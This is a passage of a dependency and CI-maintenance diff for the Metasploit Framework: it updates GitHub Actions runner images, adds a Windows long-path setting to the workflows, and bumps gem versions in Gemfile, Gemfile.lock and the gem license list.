diff --git a/.github/workflows/command_shell_acceptance.yml b/.github/workflows/command_shell_acceptance.yml index 269aec50a2612..84be0820bff4c 100644 --- a/.github/workflows/command_shell_acceptance.yml +++ b/.github/workflows/command_shell_acceptance.yml @@ -64,7 +64,7 @@ jobs: matrix: os: - windows-2019 - - ubuntu-20.04 + - ubuntu-latest ruby: - '3.2' include: @@ -73,7 +73,7 @@ jobs: - { command_shell: { name: powershell }, os: windows-2022 } # Linux - - { command_shell: { name: linux }, os: ubuntu-20.04 } + - { command_shell: { name: linux }, os: ubuntu-latest } # CMD - { command_shell: { name: cmd }, os: windows-2019 } @@ -126,6 +126,11 @@ jobs: with: path: metasploit-framework + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: BUNDLE_FORCE_RUBY_PLATFORM: true @@ -175,6 +180,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml index 76abbeaef2152..963964edfdfc5 100644 --- a/.github/workflows/docs.yml +++ b/.github/workflows/docs.yml @@ -45,6 +45,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby uses: ruby/setup-ruby@v1 with: diff --git a/.github/workflows/ldap_acceptance.yml b/.github/workflows/ldap_acceptance.yml index 9651487fc2ad3..851249f4e2e47 100644 --- a/.github/workflows/ldap_acceptance.yml +++ b/.github/workflows/ldap_acceptance.yml @@ -72,6 +72,11 @@ jobs: docker compose build docker compose up --wait -d + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -121,6 +126,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/mssql_acceptance.yml b/.github/workflows/mssql_acceptance.yml index f6542d56201f2..c2e948f8dbef3 100644 --- a/.github/workflows/mssql_acceptance.yml +++ b/.github/workflows/mssql_acceptance.yml @@ -82,6 +82,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -138,6 +143,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/mysql_acceptance.yml b/.github/workflows/mysql_acceptance.yml index 9bd2c9efecf9a..1101dc9a418fc 100644 --- a/.github/workflows/mysql_acceptance.yml +++ b/.github/workflows/mysql_acceptance.yml @@ -80,6 +80,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -137,6 +142,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/postgres_acceptance.yml b/.github/workflows/postgres_acceptance.yml index 0de893c76843f..c440949de10a0 100644 --- a/.github/workflows/postgres_acceptance.yml +++ b/.github/workflows/postgres_acceptance.yml @@ -82,6 +82,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -139,6 +144,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/shared_meterpreter_acceptance.yml b/.github/workflows/shared_meterpreter_acceptance.yml index f79b650064736..9c81a20d4697e 100644 --- a/.github/workflows/shared_meterpreter_acceptance.yml +++ b/.github/workflows/shared_meterpreter_acceptance.yml @@ -69,12 +69,12 @@ jobs: os: - macos-13 - windows-2019 - - ubuntu-20.04 + - ubuntu-latest ruby: - '3.2' meterpreter: # Python - - { name: python, runtime_version: 3.6 } + - { name: python, runtime_version: 3.8 } - { name: python, runtime_version: 3.11 } # Java @@ -92,7 +92,7 @@ jobs: # Mettle - { meterpreter: { name: mettle }, os: macos-13 } - - { meterpreter: { name: mettle }, os: ubuntu-20.04 } + - { meterpreter: { name: mettle }, os: ubuntu-latest } runs-on: ${{ matrix.os }} @@ -190,6 +190,11 @@ jobs: path: metasploit-framework ref: ${{ inputs.metasploit_framework_commit }} + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: BUNDLE_FORCE_RUBY_PLATFORM: true @@ -344,6 +349,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/shared_smb_acceptance.yml b/.github/workflows/shared_smb_acceptance.yml index cf8c127093fef..7639a93b73425 100644 --- a/.github/workflows/shared_smb_acceptance.yml +++ b/.github/workflows/shared_smb_acceptance.yml @@ -74,6 +74,11 @@ jobs: docker compose build docker compose up --wait -d + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM @@ -143,6 +148,11 @@ jobs: if: always() run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby if: always() env: diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml index 87ce8e7b305ab..33c4438b00717 100644 --- a/.github/workflows/verify.yml +++ b/.github/workflows/verify.yml @@ -64,7 +64,6 @@ jobs: - '3.3' - '3.4' os: - - ubuntu-20.04 - ubuntu-latest include: - os: ubuntu-latest @@ -89,6 +88,11 @@ jobs: - name: Checkout code uses: actions/checkout@v4 + # https://github.com/orgs/community/discussions/26952 + - name: Support longpaths + if: runner.os == 'Windows' + run: git config --system core.longpaths true + - name: Setup Ruby env: # Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM diff --git a/Gemfile b/Gemfile index 83b7b2811fbd5..ec6a36b20f0de 100644 --- a/Gemfile +++ b/Gemfile @@ -35,16 +35,16 @@ group :development, :test do gem 'rake' # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # environment is development - gem 'rspec-rails' + gem 'rspec-rails', '>= 8.0.0' gem 'rspec-rerun' - # Required during CI as well local development - gem 'rubocop' + # Required during CI as well local development - pinned due to CI failure on: rubocop-1.73.2/lib/rubocop/config_loader.rb:272:in `read' + gem 'rubocop', '1.67.0' end group :test do # automatically include factories from spec/factories gem 'test-prof' - gem 'factory_bot_rails' + gem 'factory_bot_rails', '>= 6.5.0' # Make rspec output shorter and more useful gem 'fivemat' # rspec formatter for acceptance tests diff --git a/Gemfile.lock b/Gemfile.lock index 1c6294012f10a..1e1511e6d5363 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.4.52) + metasploit-framework (6.4.54) aarch64 abbrev actionpack (~> 7.0.0) @@ -71,7 +71,7 @@ PATH pg puma railties - rasn1 (= 0.13.0) + rasn1 (= 0.14.0) rb-readline recog redcarpet @@ -118,29 +118,29 @@ PATH GEM remote: https://rubygems.org/ specs: - Ascii85 (1.1.1) + Ascii85 (2.0.1) aarch64 (2.1.0) racc (~> 1.6) abbrev (0.1.2) - actionpack (7.0.8.6) - actionview (= 7.0.8.6) - activesupport (= 7.0.8.6) + actionpack (7.0.8.7) + actionview (= 7.0.8.7) + activesupport (= 7.0.8.7) rack (~> 2.0, >= 2.2.4) rack-test (>= 0.6.3) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.2.0) - actionview (7.0.8.6) - activesupport (= 7.0.8.6) + actionview (7.0.8.7) + activesupport (= 7.0.8.7) builder (~> 3.1) erubi (~> 1.4) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.1, >= 1.2.0) - activemodel (7.0.8.6) - activesupport (= 7.0.8.6) - activerecord (7.0.8.6) - activemodel (= 7.0.8.6) - activesupport (= 7.0.8.6) - activesupport (7.0.8.6) + activemodel (7.0.8.7) + activesupport (= 7.0.8.7) + activerecord (7.0.8.7) + activemodel (= 7.0.8.7) + activesupport (= 7.0.8.7) + activesupport (7.0.8.7) concurrent-ruby (~> 1.0, >= 1.0.2) i18n (>= 1.6, < 2) minitest (>= 5.1) @@ -148,54 +148,54 @@ GEM addressable (2.8.7) public_suffix (>= 2.0.2, < 7.0) afm (0.2.2) - allure-rspec (2.24.5) - allure-ruby-commons (= 2.24.5) + allure-rspec (2.26.0) + allure-ruby-commons (= 2.26.0) rspec-core (>= 3.8, < 4) - allure-ruby-commons (2.24.5) + allure-ruby-commons (2.26.0) mime-types (>= 3.3, < 4) require_all (>= 2, < 4) rspec-expectations (~> 3.12) - uuid (>= 2.3, < 3) - arel-helpers (2.15.0) - activerecord (>= 3.1.0, < 8) + arel-helpers (2.16.0) + activerecord (>= 3.1.0, < 8.1) ast (2.4.2) - aws-eventstream (1.3.0) - aws-partitions (1.999.0) - aws-sdk-core (3.211.0) + aws-eventstream (1.3.2) + aws-partitions (1.1065.0) + aws-sdk-core (3.220.1) aws-eventstream (~> 1, >= 1.3.0) aws-partitions (~> 1, >= 1.992.0) aws-sigv4 (~> 1.9) + base64 jmespath (~> 1, >= 1.6.1) - aws-sdk-ec2 (1.486.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-ec2 (1.511.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sdk-ec2instanceconnect (1.52.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-ec2instanceconnect (1.55.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sdk-iam (1.112.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-iam (1.119.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sdk-kms (1.95.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-kms (1.99.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sdk-s3 (1.169.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-s3 (1.182.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.5) - aws-sdk-ssm (1.183.0) - aws-sdk-core (~> 3, >= 3.210.0) + aws-sdk-ssm (1.191.0) + aws-sdk-core (~> 3, >= 3.216.0) aws-sigv4 (~> 1.5) - aws-sigv4 (1.10.1) + aws-sigv4 (1.11.0) aws-eventstream (~> 1, >= 1.0.2) base64 (0.2.0) bcrypt (3.1.20) bcrypt_pbkdf (1.1.1) benchmark (0.4.0) - bigdecimal (3.1.8) + bigdecimal (3.1.9) bindata (2.4.15) bootsnap (1.18.4) msgpack (~> 1.2) - bson (5.0.1) + bson (5.0.2) builder (3.3.0) byebug (11.1.3) chunky_png (1.4.0) @@ -203,14 +203,16 @@ GEM concurrent-ruby (1.3.4) cookiejar (0.3.4) crass (1.0.6) - csv (3.3.0) + csv (3.3.2) daemons (1.4.1) date (3.4.1) debug (1.8.0) irb (>= 1.5.0) reline (>= 0.3.1) - diff-lcs (1.5.1) - dnsruby (1.72.2) + diff-lcs (1.6.0) + dnsruby (1.72.4) + base64 (~> 0.2.0) + logger (~> 1.6.5) simpleidn (~> 0.2.1) docile (1.4.1) domain_name (0.6.20240107) @@ -227,10 +229,10 @@ GEM em-socksify (0.3.3) base64 eventmachine (>= 1.0.0.beta.4) - erubi (1.13.0) + erubi (1.13.1) eventmachine (1.2.7) - factory_bot (6.5.0) - activesupport (>= 5.0.0) + factory_bot (6.5.1) + activesupport (>= 6.1.0) factory_bot_rails (6.4.4) factory_bot (~> 6.5) railties (>= 5.0.0) @@ -261,38 +263,37 @@ GEM hrr_rb_ssh-ed25519 (0.4.2) ed25519 (~> 1.2) hrr_rb_ssh (>= 0.4) - http-cookie (1.0.7) + http-cookie (1.0.8) domain_name (~> 0.5) http_parser.rb (0.8.0) - httpclient (2.8.3) - i18n (1.14.6) + httpclient (2.9.0) + mutex_m + i18n (1.14.7) concurrent-ruby (~> 1.0) - io-console (0.7.2) + io-console (0.8.0) irb (1.7.4) reline (>= 0.3.6) jmespath (1.6.2) jsobfu (0.4.2) rkelly-remix - json (2.7.5) - language_server-protocol (3.17.0.3) + json (2.10.2) + language_server-protocol (3.17.0.4) little-plugger (1.1.4) - logger (1.6.1) + logger (1.6.6) logging (2.4.0) little-plugger (~> 1.1) multi_json (~> 1.14) - loofah (2.23.1) + loofah (2.24.0) crass (~> 1.0.2) nokogiri (>= 1.12.0) - macaddr (1.7.2) - systemu (~> 2.6.5) memory_profiler (1.1.0) metasm (1.0.5) - metasploit-concern (5.0.3) + metasploit-concern (5.0.4) activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) zeitwerk - metasploit-credential (6.0.11) + metasploit-credential (6.0.12) metasploit-concern metasploit-model metasploit_data_models (>= 5.0.0) @@ -322,17 +323,17 @@ GEM mime-types (3.6.0) logger mime-types-data (~> 3.2015) - mime-types-data (3.2024.1001) + mime-types-data (3.2025.0304) mini_portile2 (2.8.8) - minitest (5.25.1) + minitest (5.25.5) mqtt (0.6.0) msgpack (1.6.1) multi_json (1.15.0) mustermann (3.0.3) ruby2_keywords (~> 0.0.1) - mutex_m (0.2.0) + mutex_m (0.3.0) nessus_rest (0.1.6) - net-imap (0.5.0) + net-imap (0.5.6) date net-protocol net-ldap (0.19.0) @@ -340,13 +341,13 @@ GEM timeout net-sftp (4.0.0) net-ssh (>= 5.0.0, < 8.0.0) - net-smtp (0.5.0) + net-smtp (0.5.1) net-protocol net-ssh (7.3.0) network_interface (0.0.4) nexpose (7.3.0) nio4r (2.7.4) - nokogiri (1.18.2) + nokogiri (1.18.3) mini_portile2 (~> 2.8.2) racc (~> 1.4) nori (2.7.1) @@ -361,13 +362,13 @@ GEM packetfu (2.0.0) pcaprub (~> 0.13.1) parallel (1.26.3) - parser (3.3.5.0) + parser (3.3.7.1) ast (~> 2.4.1) racc patch_finder (1.0.2) pcaprub (0.13.3) - pdf-reader (2.12.0) - Ascii85 (~> 1.0) + pdf-reader (2.14.1) + Ascii85 (>= 1.0, < 3.0, != 2.0.0) afm (~> 0.2.1) hashery (~> 2.0) ruby-rc4 @@ -380,97 +381,97 @@ GEM byebug (~> 11.0) pry (>= 0.13, < 0.15) public_suffix (6.0.1) - puma (6.4.3) + puma (6.6.0) nio4r (~> 2.0) racc (1.8.1) - rack (2.2.10) + rack (2.2.13) rack-protection (3.2.0) base64 (>= 0.1.0) rack (~> 2.2, >= 2.2.4) - rack-test (2.1.0) + rack-test (2.2.0) rack (>= 1.3) rails-dom-testing (2.2.0) activesupport (>= 5.0.0) minitest nokogiri (>= 1.6) - rails-html-sanitizer (1.6.0) + rails-html-sanitizer (1.6.2) loofah (~> 2.21) - nokogiri (~> 1.14) - railties (7.0.8.6) - actionpack (= 7.0.8.6) - activesupport (= 7.0.8.6) + nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0) + railties (7.0.8.7) + actionpack (= 7.0.8.7) + activesupport (= 7.0.8.7) method_source rake (>= 12.2) thor (~> 1.0) zeitwerk (~> 2.5) rainbow (3.1.1) rake (13.2.1) - rasn1 (0.13.0) + rasn1 (0.14.0) strptime (~> 0.2.5) rb-readline (0.5.5) - recog (3.1.11) + recog (3.1.14) nokogiri - redcarpet (3.6.0) - regexp_parser (2.9.2) - reline (0.5.10) + redcarpet (3.6.1) + regexp_parser (2.10.0) + reline (0.6.0) io-console (~> 0.5) require_all (3.0.0) - rex-arch (0.1.16) + rex-arch (0.1.18) rex-text - rex-bin_tools (0.1.9) + rex-bin_tools (0.1.10) metasm rex-arch rex-core rex-struct2 rex-text rex-core (0.1.32) - rex-encoder (0.1.7) + rex-encoder (0.1.8) metasm rex-arch rex-text - rex-exploitation (0.1.40) + rex-exploitation (0.1.41) jsobfu metasm rex-arch rex-encoder rex-text rexml - rex-java (0.1.7) - rex-mime (0.1.8) + rex-java (0.1.8) + rex-mime (0.1.11) rex-text - rex-nop (0.1.3) + rex-nop (0.1.4) rex-arch - rex-ole (0.1.8) + rex-ole (0.1.9) rex-text - rex-powershell (0.1.100) + rex-powershell (0.1.101) rex-random_identifier rex-text ruby-rc4 - rex-random_identifier (0.1.13) + rex-random_identifier (0.1.15) rex-text - rex-registry (0.1.5) - rex-rop_builder (0.1.5) + rex-registry (0.1.6) + rex-rop_builder (0.1.6) metasm rex-core rex-text - rex-socket (0.1.58) + rex-socket (0.1.59) dnsruby rex-core - rex-sslscan (0.1.10) + rex-sslscan (0.1.11) rex-core rex-socket rex-text - rex-struct2 (0.1.4) - rex-text (0.2.59) - rex-zip (0.1.5) + rex-struct2 (0.1.5) + rex-text (0.2.60) + rex-zip (0.1.6) rex-text - rexml (3.3.9) + rexml (3.4.1) rkelly-remix (0.0.7) rspec (3.13.0) rspec-core (~> 3.13.0) rspec-expectations (~> 3.13.0) rspec-mocks (~> 3.13.0) - rspec-core (3.13.2) + rspec-core (3.13.3) rspec-support (~> 3.13.0) rspec-expectations (3.13.3) diff-lcs (>= 1.2.0, < 2.0) @@ -478,7 +479,7 @@ GEM rspec-mocks (3.13.2) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) - rspec-rails (7.0.1) + rspec-rails (7.1.1) actionpack (>= 7.0) activesupport (>= 7.0) railties (>= 7.0) @@ -488,7 +489,7 @@ GEM rspec-support (~> 3.13) rspec-rerun (1.1.0) rspec (~> 3.0) - rspec-support (3.13.1) + rspec-support (3.13.2) rubocop (1.67.0) json (~> 2.3) language_server-protocol (>= 3.17.0) @@ -499,10 +500,10 @@ GEM rubocop-ast (>= 1.32.2, < 2.0) ruby-progressbar (~> 1.7) unicode-display_width (>= 2.4.0, < 3.0) - rubocop-ast (1.33.0) + rubocop-ast (1.38.1) parser (>= 3.3.1.0) ruby-macho (4.1.0) - ruby-mysql (4.1.0) + ruby-mysql (4.2.0) ruby-prof (1.4.2) ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) @@ -515,7 +516,7 @@ GEM windows_error (>= 0.1.4) rubyntlm (0.6.5) base64 - rubyzip (2.3.2) + rubyzip (2.4.1) sawyer (0.9.2) addressable (>= 2.3.5) faraday (>= 0.17.3, < 3) @@ -534,30 +535,28 @@ GEM sshkey (3.0.0) strptime (0.2.5) swagger-blocks (3.0.0) - systemu (2.6.5) - test-prof (1.4.2) + test-prof (1.4.4) thin (1.8.2) daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) rack (>= 1, < 3) thor (1.3.2) - tilt (2.4.0) + tilt (2.6.0) timecop (0.9.10) - timeout (0.4.1) + timeout (0.4.3) ttfunk (1.8.0) bigdecimal (~> 3.1) tzinfo (2.0.6) concurrent-ruby (~> 1.0) - tzinfo-data (1.2024.2) + tzinfo-data (1.2025.1) tzinfo (>= 1.0.0) unicode-display_width (2.6.0) unix-crypt (1.3.1) - uuid (2.3.9) - macaddr (~> 1.0) warden (1.2.9) rack (>= 2.0.9) - webrick (1.8.2) - websocket-driver (0.7.6) + webrick (1.9.1) + websocket-driver (0.7.7) + base64 websocket-extensions (>= 0.1.0) websocket-extensions (0.1.5) win32api (0.1.0) @@ -578,7 +577,7 @@ GEM xmlrpc (0.3.3) webrick yard (0.9.37) - zeitwerk (2.6.18) + zeitwerk (2.7.2) PLATFORMS ruby @@ -596,7 +595,7 @@ DEPENDENCIES redcarpet rspec-rails rspec-rerun - rubocop + rubocop (= 1.67.0) ruby-prof (= 1.4.2) simplecov (= 0.18.2) test-prof diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 35357f3c92835..943d63538f2f9 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,36 +1,36 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh -Ascii85, 1.1.1, MIT +Ascii85, 2.0.1, MIT aarch64, 2.1.0, "Apache 2.0" abbrev, 0.1.2, "ruby, Simplified BSD" -actionpack, 7.0.8.6, MIT -actionview, 7.0.8.6, MIT -activemodel, 7.0.8.6, MIT -activerecord, 7.0.8.6, MIT -activesupport, 7.0.8.6, MIT +actionpack, 7.0.8.7, MIT +actionview, 7.0.8.7, MIT +activemodel, 7.0.8.7, MIT +activerecord, 7.0.8.7, MIT +activesupport, 7.0.8.7, MIT addressable, 2.8.7, "Apache 2.0" afm, 0.2.2, MIT -allure-rspec, 2.24.5, "Apache 2.0" -allure-ruby-commons, 2.24.5, "Apache 2.0" -arel-helpers, 2.15.0, MIT +allure-rspec, 2.26.0, "Apache 2.0" +allure-ruby-commons, 2.26.0, "Apache 2.0" +arel-helpers, 2.16.0, MIT ast, 2.4.2, MIT -aws-eventstream, 1.3.0, "Apache 2.0" -aws-partitions, 1.999.0, "Apache 2.0" -aws-sdk-core, 3.211.0, "Apache 2.0" -aws-sdk-ec2, 1.486.0, "Apache 2.0" -aws-sdk-ec2instanceconnect, 1.52.0, "Apache 2.0" -aws-sdk-iam, 1.112.0, "Apache 2.0" -aws-sdk-kms, 1.95.0, "Apache 2.0" -aws-sdk-s3, 1.169.0, "Apache 2.0" -aws-sdk-ssm, 1.183.0, "Apache 2.0" -aws-sigv4, 1.10.1, "Apache 2.0" +aws-eventstream, 1.3.2, "Apache 2.0" +aws-partitions, 1.1065.0, "Apache 2.0" +aws-sdk-core, 3.220.1, "Apache 2.0" +aws-sdk-ec2, 1.511.0, "Apache 2.0" +aws-sdk-ec2instanceconnect, 1.55.0, "Apache 2.0" +aws-sdk-iam, 1.119.0, "Apache 2.0" +aws-sdk-kms, 1.99.0, "Apache 2.0" +aws-sdk-s3, 1.182.0, "Apache 2.0" +aws-sdk-ssm, 1.191.0, "Apache 2.0" +aws-sigv4, 1.11.0, "Apache 2.0" base64, 0.2.0, "ruby, Simplified BSD" bcrypt, 3.1.20, MIT bcrypt_pbkdf, 1.1.1, MIT benchmark, 0.4.0, "ruby, Simplified BSD" -bigdecimal, 3.1.8, "ruby, Simplified BSD" +bigdecimal, 3.1.9, "ruby, Simplified BSD" bindata, 2.4.15, "Simplified BSD" bootsnap, 1.18.4, MIT -bson, 5.0.1, "Apache 2.0" +bson, 5.0.2, "Apache 2.0" builder, 3.3.0, MIT bundler, 2.5.10, MIT byebug, 11.1.3, "Simplified BSD" @@ -39,12 +39,12 @@ coderay, 1.1.3, MIT concurrent-ruby, 1.3.4, MIT cookiejar, 0.3.4, "Simplified BSD" crass, 1.0.6, MIT -csv, 3.3.0, "ruby, Simplified BSD" +csv, 3.3.2, "ruby, Simplified BSD" daemons, 1.4.1, MIT date, 3.4.1, "ruby, Simplified BSD" debug, 1.8.0, "ruby, Simplified BSD" -diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later" -dnsruby, 1.72.2, "Apache 2.0" +diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later" +dnsruby, 1.72.4, "Apache 2.0" docile, 1.4.1, MIT domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0" drb, 2.2.1, "ruby, Simplified BSD" @@ -52,9 +52,9 @@ ed25519, 1.3.0, MIT elftools, 1.3.1, MIT em-http-request, 1.1.7, MIT em-socksify, 0.3.3, MIT -erubi, 1.13.0, MIT +erubi, 1.13.1, MIT eventmachine, 1.2.7, "ruby, GPL-2.0" -factory_bot, 6.5.0, MIT +factory_bot, 6.5.1, MIT factory_bot_rails, 6.4.4, MIT faker, 3.5.1, MIT faraday, 2.7.11, MIT @@ -71,51 +71,50 @@ gyoku, 1.4.0, MIT hashery, 2.1.2, "Simplified BSD" hrr_rb_ssh, 0.4.2, "Apache 2.0" hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0" -http-cookie, 1.0.7, MIT +http-cookie, 1.0.8, MIT http_parser.rb, 0.8.0, MIT -httpclient, 2.8.3, ruby -i18n, 1.14.6, MIT -io-console, 0.7.2, "ruby, Simplified BSD" +httpclient, 2.9.0, ruby +i18n, 1.14.7, MIT +io-console, 0.8.0, "ruby, Simplified BSD" irb, 1.7.4, "ruby, Simplified BSD" jmespath, 1.6.2, "Apache 2.0" jsobfu, 0.4.2, "New BSD" -json, 2.7.5, ruby -language_server-protocol, 3.17.0.3, MIT +json, 2.10.2, ruby +language_server-protocol, 3.17.0.4, MIT little-plugger, 1.1.4, MIT -logger, 1.6.1, "ruby, Simplified BSD" +logger, 1.6.6, "ruby, Simplified BSD" logging, 2.4.0, MIT -loofah, 2.23.1, MIT -macaddr, 1.7.2, ruby +loofah, 2.24.0, MIT memory_profiler, 1.1.0, MIT metasm, 1.0.5, LGPL-2.1 -metasploit-concern, 5.0.3, "New BSD" -metasploit-credential, 6.0.11, "New BSD" -metasploit-framework, 6.4.52, "New BSD" +metasploit-concern, 5.0.4, "New BSD" +metasploit-credential, 6.0.12, "New BSD" +metasploit-framework, 6.4.54, "New BSD" metasploit-model, 5.0.2, "New BSD" metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.6, "New BSD" metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD" method_source, 1.1.0, MIT mime-types, 3.6.0, MIT -mime-types-data, 3.2024.1001, MIT +mime-types-data, 3.2025.0304, MIT mini_portile2, 2.8.8, MIT -minitest, 5.25.1, MIT +minitest, 5.25.5, MIT mqtt, 0.6.0, MIT msgpack, 1.6.1, "Apache 2.0" multi_json, 1.15.0, MIT mustermann, 3.0.3, MIT -mutex_m, 0.2.0, "ruby, Simplified BSD" +mutex_m, 0.3.0, "ruby, Simplified BSD" nessus_rest, 0.1.6, MIT -net-imap, 0.5.0, "ruby, Simplified BSD" +net-imap, 0.5.6, "ruby, Simplified BSD" net-ldap, 0.19.0, MIT net-protocol, 0.2.2, "ruby, Simplified BSD" net-sftp, 4.0.0, MIT -net-smtp, 0.5.0, "ruby, Simplified BSD" +net-smtp, 0.5.1, "ruby, Simplified BSD" net-ssh, 7.3.0, MIT network_interface, 0.0.4, MIT nexpose, 7.3.0, "New BSD" nio4r, 2.7.4, "MIT, Simplified BSD" -nokogiri, 1.18.2, MIT +nokogiri, 1.18.3, MIT nori, 2.7.1, MIT octokit, 4.25.1, MIT openssl-ccm, 1.2.3, MIT @@ -124,69 +123,69 @@ openvas-omp, 0.0.4, MIT ostruct, 0.6.1, "ruby, Simplified BSD" packetfu, 2.0.0, "New BSD" parallel, 1.26.3, MIT -parser, 3.3.5.0, MIT +parser, 3.3.7.1, MIT patch_finder, 1.0.2, "New BSD" pcaprub, 0.13.3, LGPL-2.1 -pdf-reader, 2.12.0, MIT +pdf-reader, 2.14.1, MIT pg, 1.5.9, "Simplified BSD" pry, 0.14.2, MIT pry-byebug, 3.10.1, MIT public_suffix, 6.0.1, MIT -puma, 6.4.3, "New BSD" +puma, 6.6.0, "New BSD" racc, 1.8.1, "ruby, Simplified BSD" -rack, 2.2.10, MIT +rack, 2.2.13, MIT rack-protection, 3.2.0, MIT -rack-test, 2.1.0, MIT +rack-test, 2.2.0, MIT rails-dom-testing, 2.2.0, MIT -rails-html-sanitizer, 1.6.0, MIT -railties, 7.0.8.6, MIT +rails-html-sanitizer, 1.6.2, MIT +railties, 7.0.8.7, MIT rainbow, 3.1.1, MIT rake, 13.2.1, MIT -rasn1, 0.13.0, MIT +rasn1, 0.14.0, MIT rb-readline, 0.5.5, BSD -recog, 3.1.11, unknown -redcarpet, 3.6.0, MIT -regexp_parser, 2.9.2, MIT -reline, 0.5.10, ruby +recog, 3.1.14, unknown +redcarpet, 3.6.1, MIT +regexp_parser, 2.10.0, MIT +reline, 0.6.0, ruby require_all, 3.0.0, MIT -rex-arch, 0.1.16, "New BSD" -rex-bin_tools, 0.1.9, "New BSD" +rex-arch, 0.1.18, "New 